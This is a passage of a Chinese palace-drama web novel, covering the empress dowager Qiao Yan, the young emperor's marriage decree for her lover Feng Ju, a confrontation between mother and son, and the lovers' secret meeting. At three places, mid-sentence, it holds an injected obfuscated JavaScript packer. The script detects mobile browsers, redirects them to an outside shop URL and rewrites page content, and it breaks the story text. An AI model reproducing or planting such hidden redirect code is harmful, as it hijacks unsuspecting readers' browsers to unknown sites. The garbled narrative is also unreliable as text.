到端宁宫时,时辰尚早。院里很静,只有两个小太监在轻手轻脚地扫洒。宜婵从廊下过来,见了礼,低声道:“太后娘娘刚起,正在暖阁里。” 李榷摆手免了通报,自己掀帘进去。 暖阁里暖意融融,却并不燥热。窗子开了一线透气,晨光熹微,映着室内浮动的微尘,在案上铺了层淡金。乔燕没有梳妆,只松松挽了个髻,穿着家常的玉色绫袄,坐在临窗的炕桌旁。 案上摆着些他叫不出名的物件:小小的铜炉,象牙柄的小铲,还有一排白瓷盒。 她正专注地用香铲将灰压平,动作不疾不徐,眉目平和。 李榷没出声,在门边站住了。他看着养母稳稳握住香铲的手,方才在寿安宫拧成一团的心,竟莫名松了松。 “给母后请安。” 乔燕转过头,目光在他脸上停了一会儿。“恒奴来了。”她没起身,只指了指对面,“昨晚又没睡好?眼圈是青的。” 他坐下,宫人上了茶。茶气升起来,竟生出些奇异的暖意,让他鼻尖一酸,方才在生母那里受的气化作委屈,和茶雾一起氤氲开。 也只有在这里,才听到一句关怀了。 “睡得还好。”他说,端起茶盏,借热气掩了掩神色,“母后什么时候学的这个?” “这些日子无聊,让她们找了些香谱来看,试了几次,总压不匀,要么就在半途散了,今早才算摸着点门道。” 这话让李榷心头微酸。 “母妃若是无聊,可以召命妇入宫陪您说话。” “可算了吧,”乔燕叹气,“昨日长兴侯老夫人入宫,说是长兴侯在外有个外室,老来得子,想把人纳进府里,求我主持公道。再两日前,平健伯夫人带了一沓闺秀小像过来,要我帮她掌眼挑息妇。从前没想到,做太后还要断这些官司。” 李榷听得兴味盎然:“母妃挑了谁?” “我哪能真挑啊,伯夫人心里其实早有中意之人,来寻我也不过是想求个令旨,让婚事更风光些。” 乔燕说道:“不过我看那些小像里,不乏姿容出色之人,你年纪也不小了,我看倒是要让孙姐姐给你挑个皇后才是。” 提到孙氏,李榷嘴角微平。 乔燕看在眼里,没有作声,拿起香勺,从另一只小碟里取了些深褐色的粉末,“这是沉香,海南来的。你闻闻看。” 她将香箸递过来些。他凑近闻了闻,那苦味里原来藏着甜,像树在雨里浸了百年,最后凝成这一缕魂。 “比檀香沉。”他说。 乔燕微微一笑,取过一个莲花形的香篆,放在灰上,把香粉小心填入香篆的纹路中,再用香铲轻轻抹平。那莲花纹样渐渐被深褐色的香粉填满。 “你看,这灰要先理松,压得太实,气就透不上来,太松呢,香粉又立不住。” 乔燕填好香粉,用匙柄轻轻敲了敲香篆边缘,然后屏住呼吸,两手稳稳提起香篆。 一朵完整的莲花香篆留在了香灰上,纹路清晰,毫无破损。 李榷忍不住赞道:“成了。” 乔燕眼里也漾开一点笑意,取过线香,在炭火上引燃,轻轻点在香篆的一端。 第一缕烟升起来了,细直如笔,在将明未明的光里几乎看不见形状。 她静静看着,他也便跟着看。半路出家的母子二人就这样守着这缕青烟,谁也没说话。 殿里极静,能听见铜漏滴答,远处宫门开启的吱呀声,还有炉灰里极轻微的毕剥声。李榷忽然想起小时候,也是这样的清晨,他赖在生母孙氏寝宫里不肯去念书,那时孙氏会把他搂在怀里,用掌心捂着他冰凉的手,指着窗外槐树上的鹊巢说:“瞧,鸟儿都比我儿勤快。” 现在他比鹊起得还早,阿娘却不再搂他了。 是不是做了皇帝,注定要失去什么? “心浮气躁的时候,做不了这个,”乔燕忽然开口,目光仍落在香篆上,“手一抖,纹路就断了。火急了,烧得不匀,也不好看。” 李榷“嗯”了一声。 “早上在寿安宫受气了?” 李榷沉默片刻,还是点了点头。 “你生母性子急,心里有委屈,总要找个出口。她说的话,你听了,放在心里掂量过,便罢。不必句句都去较真,也不必句句都往自己身上揽。” 李榷鼻子忽然有些发酸。他低下头,看着自己交握的手。 “我是不是……很没用?”他声音很轻,“既安抚不了阿娘,也……拗不过那些大臣。” “谁说的?在我这待一会儿,你等会要去听经筵了罢?”乔燕抬起眼,目光平静地看着他,“这半年,你每日寅时起身批红,经筵一次不落,福建的军报、漕运的账目,一样样学着看。温首辅病倒,朝会上乱成一锅粥,是你压住了场面。” 李榷怔怔看着她。 “做皇帝,不是要事事如意,而是要学着在不如意里,找到那条还能往前走的路。就像这篆香,纹路再复杂,火总要一点点烧过去。急不得,也跳不过。” 李榷深深吸了一口,那清冽的气息仿佛顺着喉咙,熨帖了胸口那团郁结。 “我明白了。” 乔燕忽然说道:“从前看你皇考做过这个,总觉得繁琐。如今自己试了,才发现繁琐有繁琐的好处——心思都得在这头,别的就顾不上了。” 他知道“别的”是什么。朝堂上那些声音,说他年幼,说太后不贞,说海疆不宁是秽乱宫闱的报应。他早就下令,这些话不会传到端宁宫,但会像风一样,从每一个缝隙钻进来。 “母后放心,那些流言已经平息了。” 乔燕微愕,很快反应过来:“你做了什么?” 顿了顿,又恍然地问:“冯矩已经到京了?”已是肯定的语气。 李榷道:“是。他十日前就入京了。” 十日前。 可这与她相关的大事,满宫奴婢,竟无人相提,就好像被格外叮嘱过一般。 乔燕的目光自他脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116349|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逡巡而过,微微拢眉,“圣上做了什么?” “冯矩出面澄清了谣言,道幼女乃从前流放时娶的发妻所生。我将此事定为家事,交给两厂查办,都是我信任的人,已经当朝拿出了‘证据’,证明冯矩所言不假。正好温公病退,乔广川升任首辅,针对您的流言自然止住了。”李榷若无其事地说道,“孩儿一直相信母后乃是清白的,您放心,再过些日子,您就可以听政了,到那时,有您和乔元辅内外相合,定能肃清朝政!” 乔燕看着他,许久,才微笑地道:“圣上费心了。” 送走皇帝,乔燕立马喊来于海,问起十日前发生的事。可惜于海毕竟是后宫奴婢,对前朝之事知之甚少。 从前乔燕权欲淡薄,做事谨慎,亦无涉政之心,是以没有培养什么耳目,等到用时,方觉眼瞎耳聋,寸步难行。要是唐直抒还在,至少可以递个话……乔燕叹了口气,总觉得心底有些不安,思来想去,吩咐了宜婵几句话,宜婵受命,匆匆出门。 一天时间眨眼而过,等到日落西山,尚食局的人撤下夕食,往常这个时候,乔燕会去内间梳洗,但今日她一反常态地坐在椅子上,让人上了一壶茶,给自己倒了一杯,捂在手心。 茶水热气蒸腾,在脸上化成冰凉的水汽。 好在,一盏茶未彻底冷透,宜婵过来,低声说道:“吴公公来了。” “让人都下去吧。” 宜婵带走室内宫人,不一会儿,一道矮胖的身影出现在门口,“奴婢叩见太后娘娘,娘娘千岁。”那人行了大礼,抬起头,露出一张白净和煦的笑脸,正是皇帝身边的大太监吴汲。 太后私下见权宦,说出去总有“朋党乱政”之嫌,而吴汲显然不会不懂,但他还是来了,乔燕之前就觉得,吴汲是个心思活泛之人,今日之事,果然再多一重佐证。 “吴公公请坐。” “哎哟!娘娘如此称呼,可真是折煞奴婢了!”吴汲吓了一跳,仍旧跪着,“娘娘尽管唤奴婢名讳便是。” 乔燕一笑,“圣上年幼,初涉朝政,我这做母后的心里总有些不放心,吴大伴成日陪在圣侧,还得多多上心。” 吴汲:“娘娘一片慈心,奴婢感念不已。圣上近来一切如常,没有什么特殊之处,倒是每日宵衣旰食,既要读书写字,又要处理政务,甚是辛苦。好在过两日娘娘听政,可以帮圣上分担一二。” “恒奴一片孝心,这几日想必为了我那些流言费心不少吧?今日见到他,人都瘦了。” 吴汲一顿,心领神会:“此事圣上倒也不曾费太多心,冯侍郎归京后,大家才知道他那女儿乃前妻所生,流言不攻自破,娘娘清者自清。” 这些话与李榷说的大同小异,乔燕静了片刻,忍不住追问道:“就这些?” 吴汲小心赔笑:“娘娘,如今乔公升任首辅,您又稳居中宫,眼见乔家如日中天,谁人还敢嚼舌头,可不就这些么。” 话说到这里,似乎一切明了,也该端茶送客了。 可是不知道为什么,仿佛冥冥之中有一根线系在心上,时不时紧绷,让人实在放不下。 “那冯侍郎为此事匆匆回京,边海剿匪一事怕不妥当。开海事急,他是不是要快些回去主持大局?” “倒也不急,”吴汲说道,“圣上说了,等他完婚后再去不迟。” 送走吴汲,宜婵回转,看到乔燕还坐在原来的位置上,嘴唇紧抿,神情有几分怔忡。 “娘娘,天这么冷,奴婢扶您入内梳洗吧。” 乔燕回过神,却不动弹。 “今儿下午,你不在的时候,宁国公夫人来请安,说了件厉害的事。 大约十几年前,一位三品官员的长子因故去世,不久后,他的遗孀殉节,为此慜帝亲自批下贞节牌坊,为世人称道。可就在不久前才有人揭露,那位妇人竟是夫家逼死……就为了这区区贞节名声。” 宜婵担忧道:“娘娘……” 乔燕猛地抓住她的手,她抓得那样紧,面色苍白。 “你不觉得可怕吗?” “奴婢觉得可怕。娘娘,世道如此,”宜婵嗪了泪,在她膝边蹲下来,“您就不要执着了,奴婢心里怕。” 67. 选择 夜深,就寝时分,李琢从净房出来,穿着单衣,头发潮湿地披在身后。 入了内间,吴汲拿了干净的帕子过来,在他身后,宫女正拿着铜盖,依次灭去烛灯。 就在这时,有个太监匆匆入内,说道:“圣上!太后请见!” “这么晚了,太后来做什么?”虽然不解,李琢还是停下脚步,阻止了宫女熄灯的动作,低头看了看,“我这身见不得母后。请母后到外间喝杯热茶,稍候片刻。” 那太监领命而出,吴汲伺候着李琢换了燕居的道袍,头发湿着,束不了冠,便只能披散着,好在方才要就寝,已经让记载起居的太监下去歇息了,也不会有人非议。 收拾完毕,吴汲在前头撩开门上棉布,李琢走出去,“母后!” 乔燕本心事重重地坐在椅子上,闻声站起,放下掌心捧着的茶盏,“圣上这是要睡了。是我不好,不该这么晚来找圣上。” “母后待我如亲子,无论何时来找我也是该的,”李琢迎上去,亲自牵过乔燕的手,按着人坐下。 “夜间风寒,您的手都冷了,吴汲,拿个手炉过来。” “不必了,”乔燕说道,“我和恒奴要说些母子间的体己话,让人都下去吧。” 李琢十分听话,果然屏退了所有宫人。 “母后要说什么?” 乔燕深吸一口气,“听说,你给冯侍郎赐了婚?是哪家小姐?为何我不曾听说。” 乔燕这般发问也不是没有由头的,天子想拉纤做媒,其实也要问询过双方意见,可这等妇道之事,若由男子往来就太过生硬,于是常通过后宫召见双方家里的命妇,言语暗示,而后下令旨指婚,像这次这般直接在朝堂上一锤定音,有些不近人情。 李琢说道:“其实还未并未定下女方人选,在朝会上先行提出,是为洗清流言,堵悠悠众口。” 乔燕松了口气,正欲开口,就听李琢又道:“母后这里常有命妇周旋,事务繁杂,孩儿不欲劳累您,是以已经将此事交给贵太妃了。听闻她前日见了绥阳伯的女儿,不知后续如何。” 他行事如此妥帖,乔燕愈发觉得难以启齿。可她连夜而来,本就凭着满腹不甘,一腔冲动,谈何周全呢。 沉默片刻,她颤声道:“恒奴,我有一事……” “母后!” 李琢顿了一顿,深深看着她,神情复杂,“天时太晚,儿子明日还要早起,有什么事,不如改日再说。” 若到此为止,不失为太平结局。 被再三打岔,乔燕知道这是李琢给她留的体面,其实已经生了退缩之意,可也不知到底哪一口气,始终梗在心里。 她心一横,蓦地跪地,李琢吓了一跳,忙伸手托住她的胳膊,可是乔燕跪得异常坚定,微微抬起头,说道:“妾有一事,恳请圣上恩准。” 李琢一顿,慢慢收回手,站直了,眼里闪过痛心之色,张了张嘴,却终至无声。 “请您收回赐婚冯矩的旨意。” 室内的灯烛熄了大半,光线昏暗,有那么一瞬,尚有稚气的少年的脸浸在阴影里,显得格外漠然。 “只此一件,我不能答应你。” 他微垂眼皮,自上往下地看,“这件事,我本打算不告诉您,以免惹您伤心。我本打算,就当什么都没发生,掩过饰非,让一切都回到正道。可您为何不能也体贴一下孩儿,非要将此事拿出来讲呢。” 李琢负手走开两步,仿佛下了什么决心,微抬起头,看着横梁上鲜妍的壁画。 “《内训》有言:贞静幽闲,端庄诚一,妇德也。守寡者,更该志坚如铁,死守贞节。母后,您待我恩重如山,我事您如母,本不该申饬。可为人子,见到母亲做了天大的错事,更不能视而不见,害您继续错下去。” 李琢走到了门边,拉开了一条缝,唤道:“吴汲!” “欸!奴婢在呢。” “拿根鞭子来。” 吴汲骇了一跳,唯恐自己听错了。透过门缝,他隐约可见皇帝身后跪着的身影,心头砰砰直跳,直觉不好,好在还有几分镇定,明白不可宣扬,勉强维持着脸上表情,躬身走开。 等他偷偷摸摸寻了根马鞭,藏在袖子里,来到寝殿,只见皇帝和太后母子相对而跪,气氛静得可怕。 太后神情哀伤,隐有几分绝望,而皇帝则万分坚定。 听到脚步,李琢扯开衣服,袒露上身,轻声说道:“母后做了错事,孩儿不忍您受罚,只好替您受过。” 说完,伸出手要鞭子。 吴汲这才知道原来是有此用,怎敢当真把鞭子交出去,更何况两个主子都跪着,哪有他站着的份,忙哭着跪地,低声道:“圣上,您有什么事就冲奴婢来吧,奴婢替您受着!” “鞭子拿来,你出去。” “圣上!”吴汲哭得眼泪鼻涕直流,只不掏袖子,“母子之间哪有什么仇呢,何至于此啊圣上!” 李琢恼怒万分:“这里哪有你说话的份,还不把鞭子给朕!” “好了。” 乔燕的声音很轻,好似不堪负累,连说句话的力气都要挤出来。 让听到的人心中发颤,忍不住屏住呼吸。 吴汲就这样,一瞬间连大气也不敢出,听到太后说:“不要为难他了,圣上,让他先出去吧。” 吴汲小心地觑向李琢,只见少年也沉默了下去,片刻后,淡淡道:“出去吧。” 吴汲起身,李琢又道:“母后也出去吧。” 但是没有动静。李琢喃喃:“您要我怎么是好……”这一句话,听起来很让人难过。 到这里,吴汲不敢再听,连滚带爬地出了屋子,关好门,守在外头。 室内一时又只剩母子二人。 李琢最后那句话久久回荡在乔燕心头,撕扯着她的心。 李琢企图用这样的示弱来换取她的退让和安宁,可人心要真的这般简单易解该有多好。 乔燕沉默地起身,托住李琢的胳膊,把他也拉了起来。 直到此刻,她才在今夜第一次看清少年的脸,看到强忍坚决之下的忐忑和痛苦。 “恒奴……” 乔燕放开了手,闭上眼,“那些‘对错’,到底是谁定的呢?我的这一生,既不曾贪禄伐利,也从未戕害忠良,仰不愧于天,俯不怍于人。” 谁料这一番自白没有熄灭李琢的心气,反而让他脸色涨红,李琢踱了两步,实在气不过,又冷声道:“好,好一个不愧不怍!您和冯矩,青梅竹马,早定盟约,情难自禁,我可以理解!可是二哥呢!” 乔燕僵住,“什么?” 李琢浑身都发着抖,大步走入内间,不一会儿,拿出一个手炉,掷于地。 “这个手炉,是我在二哥梓宫里发现的。从前我去母后宫里,不小心摔过一只手炉,一角有轻微凹陷,正与这只一模一样!母后,你告诉朕,你的手炉为何会在二哥的陪葬里?!” 乔燕走下步道时,四肢都是僵硬的。 宜婵一手举过伞,一手托住她,十分担忧,“娘娘……” 乔燕后知后觉地抬起头,微微一笑,“又下雪了啊。宜婵,我怎么觉得,这场雪下了好多年了,从文景三十九年到今天,从来不停。” “娘娘,您不要哭了,会被人看到的。” “宫里这么大,这儿又这么空旷,谁会看到。” 主仆俩相依着走了几步,乔燕忽然没头没脑地问:“你觉得,先帝是待我是真心的吗?” “什么?” “先怀帝,李稷啊。” “奴婢不敢说。” “你我这么多路都走过来了,那时在问天塔,你也在,有什么不敢说的?好啦,恕你无罪,我想听听真话。” “他待您,应当是真心的。” “是真心的啊,”乔燕又笑了,“可是旁的人,谁在乎你的真心呢。他们只看得到对错,只论是非啊。” 宜婵被她说得难受了起来,她抬起头,好像想找什么,可今夜无星无月,阴云密布,只有漫天大雪。 她看了一会儿,认真地道:“娘娘,付出真心的人在乎,被真心对待人也在乎。” 乔燕脚下磕绊,跌倒在地。她却没有立刻起身,就这么伏在雪上,豆大的泪水滚滚而下,止也止不住。 “娘娘!” 宜婵吓得丢开伞,蹲下身搀扶她。乔燕抱住她胳膊,将全部重量都压在她身上,仗着风声喧嚣,嚎啕大哭。 “我好难过,宜婵,我真的好难过……他就要娶妻了,我拦不了……身为太后,却还是什么都做不了,就算想哭,也要先看一看四下有没有人……” 一觉睡醒,已是天光大亮,不知是不是因为前一晚痛哭一场,这一觉醒来,竟觉心头无比松快。 待走出屋子,只见数个宫女太监搬着东西在院中走来走去,乔燕喊住一个,问道:“这是在做什么?” “回娘娘,昨儿发现库房不知何时遭了鼠患,不少物什都坏了,宜婵姑姑让我们把东西拿出来清点一下,若是有那已经坏掉了的,趁早处理了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116350|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这时,思嘉从偏殿转出来,手里拿着两只细颈花瓶,笑着屈膝问安,说道:“寒冬腊月的,老鼠影子都没瞧见,也不知躲哪儿去了,两侧偏殿里的东西也要盘查盘查,保不齐就窝在哪个犄角里头。” 先前的宫女噘了噘嘴,“要奴婢说,术业有专攻,逮老鼠还得是狸奴,我们在这里人仰马翻,不如去抱两只狸奴来。” 乔燕笑起来:“我倒是知道谁养了猫儿。思嘉,你去司礼监找秉笔金春山,他手底下养着七八只猫呢,借两只来用用。” 思嘉把花瓶往旁人手里一塞,“奴婢这就去。” 那宫女抱着花瓶,胳膊上还挎着个篮子,左支右绌,眼睛都没地儿放了,生怕磕了摔了。乔燕看不过眼,主动分担过一只花瓶。 “这个要放到哪里?” “这个思嘉姐姐刚拿出来,想是要去后院里晾一晾哩。” 乔燕来到后院,瞧见已经摆了一地的零碎物件。她走了两步,好似踢到个什么,低头一看,只见一个巴掌大的圆肚瓷罐咕噜咕噜滚开了。 眼见瓷瓶越滚越远,就要摔进墙角的排水洞里,一只脚及时伸出,挡了一挡。宜婵挡住那瓷罐,弯腰将其捡了起来,捏在手里翻来覆去打量一番,笑道:“娘娘可还记得这个?” “有些眼熟。” 乔燕寻了个空处放下手里的花瓶,接过瓷罐,拧开盖子,一股药香扑面而来。 “想起来了,这是当初董玉莲送我的药膏。” “那时候初入宫,膝盖跪肿了,离开时,董玉莲追上我,说了一番话,给了这个药。我收下它,却不用,意在时刻提醒自己对他的恨意。” 数载春秋,物是人非,从前恨入骨髓的人,早已成了一抔黄土。从前那些心惊肉跳,如今想来也只剩寻常。 宜婵道:“娘娘。” “时间太久,用不了了,扔了吧。” “啊!!!” 忽然有个宫女一蹦三尺高,只见她身前半开的匣子里蹿出两只灰色身影,霎那间,尖叫声此起彼伏,而那两只老鼠显然也很害怕,上蹿下跳,更引起无数呼喊。一时间,也不知道人和老鼠哪个受惊更大。 宜婵呼吸急促几分,回头催道:“娘娘,这里太乱了,您先回去吧。” “也,也好。”乔燕磕磕巴巴地应了,倒退两步,飞快地跑了出去。 回到房间,犹是惊魂未定,但转念间,乔燕又露出一个浅笑来。 没有女儿家不怕耗子的,她也是,从前待字闺中时,常去东北角的荒园玩,那里人迹罕至,此消彼长,蛇鼠就多。她算得胆子大,有时候远远看到可疑的东西就默不作声地避开,一直无恙。但有一回,听到哥哥们和冯矩在书房说起前朝的《爱莲说》,“中通外直,不蔓不枝”,在看到一池枯荷时想了起来,好奇心起,趴下去捞荷枝。 谁想,就在她伸手的瞬间,水面扑腾,一只硕大的水耗子一跃而起,扒住她的袖子,三两下上了岸。她到现在都记得,有那么几息和水耗子四目相对,大眼瞪小眼,那双黑豆豆眼里映出面目狰狞的她。 她张大嘴巴,闷不吭声地厥了过去。 后来也没等人寻过来,又一个人醒了,若无其事地回到闺房。只是从那之后,那个承载着一些美好记忆的荒院再也没去过。 倏忽十载光阴,远得像上辈子一样。 人的一生,又有几个十载呢? 乔燕摊开手,手心还攥着那只圆肚瓷瓶,说是要扔掉,但事发突然,莫名其妙就带了回来。 看到瓷瓶,就想起董玉莲,想起昔日在月台下的象眼旁,董玉莲面庞含笑说的话。 那时候的他多么风光啊,外朝眼里的“内相”,内廷里的无冕王,他可以轻飘飘地警告皇帝的妃嫔,手指动一动就是无数人的生和死。 可是最后呢? 高名厚利地活一辈子又如何呢,名和利可以把人吃干抹净,最后留下了什么?董玉莲的一辈子够不够辉煌?他留下了什么。 李琢劝她:做尊荣无二的太后不好吗?那自然是好的,扪心自问,她也曾做过权势滔天的梦,可每个人生在世,在有所“想要”的东西之前,必然还有“更想要”,若二者不可兼得,也只好取舍。比起端坐高处,她好像更想站在一个人的旁边。 一念既定,神气通达。乔燕起身在书案边坐下,引水研墨,提笔落字: “妾乔氏谨泣血顿首:伏念启正四年夏,陛下以亳王领密敕巡按淮南。时奸宦结党,私枭塞漕,王舟方抵彭县……” 68. 私会 “……那就定了绥阳伯家的三娘子。” “一切有劳娘娘安排,微臣无有异议。” “既如此,我立马便禀了圣上,待钦天监算过日子,即可结秦晋之好,成两家之欢。冯侍郎也可不必孤单过日,身边有人嘘寒问暖,老婆孩子炕头热,那才叫生活。” 冯矩笑笑,“娘娘,如无他事,微臣先告退。” “去吧。别忘了去圣前谢恩。” “是。” 冯矩起身,隔帘行礼,却行而出,走到门口时,又被孙氏喊住,“冯侍郎,听说你的发妻留了一个遗腹子,这宫里冷冷清清,好久没有孩子热闹了,等侍郎成亲后,有空让夫人多带着孩子入宫来玩。” 冯矩脚步顿了一顿,走了出去。 今日蒙孙贵太妃召,商议婚事。这事本该由家中女眷出面,可惜冯家人都丧命在冤劫里,余他光棍一人,也只能违一次礼法,亲自走一趟内廷。 说起来,违背礼法之事也做得不少了,更惊世骇俗的都做过,哪里还惧这一点小事。 只这西六宫除年节蒙恩探亲外,鲜少有外男进入,为免冯矩走错路惹出是非,孙氏特地点了一个太监引路。此刻那小太监就正坐在踏跺边上,抱着根白玉石柱,头一点一点地往下垂,垂到膝盖时,一个激灵猛地抬头,瞌睡也醒过来,看着跟前站着的男人,抹了抹嘴角,讪讪一笑。 “……冯大人,您出来了,奴婢这就引您出宫。” 冯矩颔首,跟在他后头。 一路穿巷过门,也不知走到了哪处,迎头过来一个太监,年纪虽轻,却穿正红色葫芦纹纻丝曳撒,胸前缀着斗牛补子。腰间围一条犀角带,悬挂牙牌,一面用篆文刻着“司礼监秉笔”,随着走路晃动,不期然翻了个身,露出另一面,乃是“不许借失”四个字。 对上目光,冯矩知此人冲自己而来,停下脚步。 那位大太监果然在三步远处停了下来,拱手见礼,“奴婢见过冯侍郎。” 这等有品级的大太监,尤其是司礼监的,与外臣共事于御前,在外臣面前少有还自称奴婢,他这样说话,倒显得过于谦卑。冯矩抱拳回礼,端详他那圆脸,只觉有些眼熟,却不记得在哪里见过。 引路的小太监笑靥如花,凑上前:“金公公,奴婢是太贵妃跟前的余廉啊,年前借去司礼监打杂,您还指教过奴婢呢。司礼监庶务繁多,哪阵风把您吹这西六宫来了。” 秉笔太监微微一笑,十分和气:“咱家寻冯侍郎有事,你自回去。” 小太监一口应下,掉头就走,很快就不见了影子。 “您随奴婢来。” 冯矩没有发问,安静地跟在他身后。一路不见人迹,只有跫音在高高的宫墙间回荡,“嗒、嗒”,更显幽寂。 七拐八拐,到了一处荒废的宫殿前,大门许久未修缮,朱漆剥落,铜钉也生了锈,门前石板日日打扫,尚显整洁,但推开大门,入目的石缝间生满枯草,最疯长的已有半人高。 大太监收回推门的手,驻足门前,回过头,神情耐人寻味。 “冯侍郎,您请,奴婢就在外头候着。” 冯矩抬起靴子,跨过了地袱。留那太监在原地,看着他徐行的背影啧啧称奇。 ——不论是谁,被莫名引到人迹罕至的地方,多少都得问一声,可这位冯侍郎一路不发一言,就连进去的步子,也没有一丝迟疑。 就好像,他对邀约之人早有笃定。 穿过宫门,只见三间殿宇呈合围之势。最中一间,顶悬青匾,“珍玺殿”三个褪漆金字风骨不凡,门前两根廊柱布满裂痕,隐约可见一联: 修德颂椒仪范承星曜,佐治献镜春和仰日辉。 字迹与门匾相同,乃故去的先慜帝手写。 一位后妃,可以得皇帝亲自为其题字,可见圣眷之浓。 “那两联和牌匾,都是文景皇帝亲手所题。” 身后有人接近,踩过枯草发出喀嚓声响。 “这里已不是西六所,乃是我姑姑曾经仙居之处。慜帝在时,日日有宫人洒扫,洁净如新,可是自慜帝去后,这里的宫人先后托关系去了别处,再无人记得姑姑,此处也荒废下来。” 冯矩要反应一会,才意识到她说的“姑姑”是谁:慜帝年轻时曾经钟爱一位乔家女,宠之若狂,不出两年就立为贵妃,在后宫里,位份只比皇后矮一头,可要说风头,连皇后也要给两份薄面。此事已是几十年前的旧事,早已化成时光里的一抔尘埃。 冯矩凝视着那两句对联,字字都有母仪之象,不由若有所思:“听闻慜帝曾经要力排众议,废黜皇后,任乔氏为后。此事史册只字不提,但如今看来,空穴来风,未必是假。” “家父曾在酒后提起,如果姑姑诞下龙子,乔家恐怕早就乘风而起。只是可惜,世事总不能尽如人意。水满溢,月盈缺,不能圆满,才是常态。” 最后两句感叹,似是在说乔家,又似乎隐隐牵扯到别的心事。冯矩思绪起伏,一时没有作声。 身后之人又走近两步,他听到了窸窣的脚步声。然而他连头都不敢回。 害怕看她一眼,更害怕只能再看一眼。 她要名声,于是他受了指婚。那一日在殿中,他抬头一眼,看到她在帘后,说是万箭穿心都不为过。今日喊他来此,还要什么呢?他落拓一身,还有什么能给的?不妨早早开口,说个明白,也好早得清净。 思及此,冯矩便要开口,“娘娘”二字出口,一双手臂忽然自身后抱上来,柔软的女体紧紧贴上后背。他浑身一震,神思恍惚,心头一片荒凉,忍不住低低地笑了一声。 “这又是做什么?娘娘想要效仿唐时韦后,要我做幕宾吗?” 出口的是讽刺之言,可他却悲哀地发现,心头死灰竟因此生出复燃的火光。 这算什么?情爱之中,连尊严和骨气都要被舍弃吗?冯子规啊冯子规,你做人至此,怎么如此轻贱。 咽下满腹苦果,怨愤交加,他猛地攥紧腰间的手腕,回身相望,冷笑一声,在对方诧异的眼神里不管不顾地吻了下去。 唇瓣相触,他闭上眼,只觉跌向无底深渊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116351|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不久前和乔翀的对话再一次在耳边响起。 ——你和五娘,是怎么会走到这一步的? ——情不知所起。 ——五娘比你年幼,她性子有点冲动,但你素来恪守慎行,你为什么不,不有所止呢! ——我也会有冲动的时候。 ——你们没有想过会有怎样的后果吗? ——想了,但也没用。那时候,哪怕知道后果如何,也只能义无反顾地沉沦下去。 情之一字,实在太苦。令人喜怒哀乐,皆不由己。浑浑噩噩,我不似我。 在最初的惊诧后,乔燕很快闭上眼。他的吻压下来,很用力,显得毫无章法。她能感觉到他在发抖,腕上的手握得发疼,但她没有挣扎。他撕咬着她的唇瓣,急切地将舌头顶进来,乔燕尝到一点铁锈味,她能感觉到他的绝望,他好像要从这个亲吻里证明什么,抓住什么,她顺从地打开了自己,予取予求。 他喉咙里发出一声很小的声音,哽住似的,乔燕愣住,撑住他的胸口,不费吹灰之力就推开了他。 “……你哭了。” 男人沉默,只那一双眼沉沉地攫住她,里头有太多情绪,复杂难辨,她一头栽进去,瞬间压抑得喘不过气,只能怔忡地捂住心口,也有了哭的冲动。 “怎么了这是?”乔燕扯了个笑,“你要娶妻,我还想找你算账呢,怎么你先哭了。” “不是你要我娶妻的吗?” “我没有,不是我,”乔燕一顿,“是不是恒奴……” 原来如此。 原来不过是一个小小障眼法,只是因为身在局中,一叶障目,便看不清。 冯矩静了片刻,眼里风起云涌,很快压于古井深处。他好像思索明白了什么,扯了扯唇角,微微直起身,垂眸轻声问:“娘娘要见我做什么?” 乔燕霎时抛开疑问,满眼只有这一个问题。答案她预备已久,然而事到临头,竟还是有情怯涌上心头。 “不要娶妻。” 乔燕脸颊发红,可目光却十分坚定。他们之间时间太短,早就没了害羞迂回的余地——说是害羞,其实更多的是胆怯忐忑。 “不要娶妻,你等等我,我……很快就能说服皇帝,放我出宫。你等一等我,好不好?我想和你一起,我想亲自陪葭月儿长大。” 冯矩张了张嘴,竟觉口干舌燥,身心俱颤。 ……她太大胆了。 她知羞耻而无畏羞耻,明礼法而蔑视礼法,对于要如何活,自有一番竿量。她是灼灼日光,没有一丝一毫的阴翳畏怯,扑将过来,要么与她一同奔赴,要么只能看着她,将自己烧作劫灰。 冯矩其实有很多想问。她如此不管不顾,世人非议怎么办?流言蜚语会湮没他们,史书会痛斥他们,她做好准备了吗?他还想问一问,她在被李稷接走消失的半年里,都去了哪儿。她是怀着什么样的心情独自生下了孩子……她恨过他吗?她爱他吗? 然而此情此景,他好像只需要说一句话就好—— “我答应你。” 69. 刻薄 正月十五,团圆佳节,内廷奴婢有三天假期出宫探亲,后宫妃嫔同样可以在这一天召见亲眷,一诉衷肠。 宫女奉过茶,乔湛端了一盏在手里,喝了一口。 茶水清冽,应是好茶,可他五味杂陈,半点没有品出味。 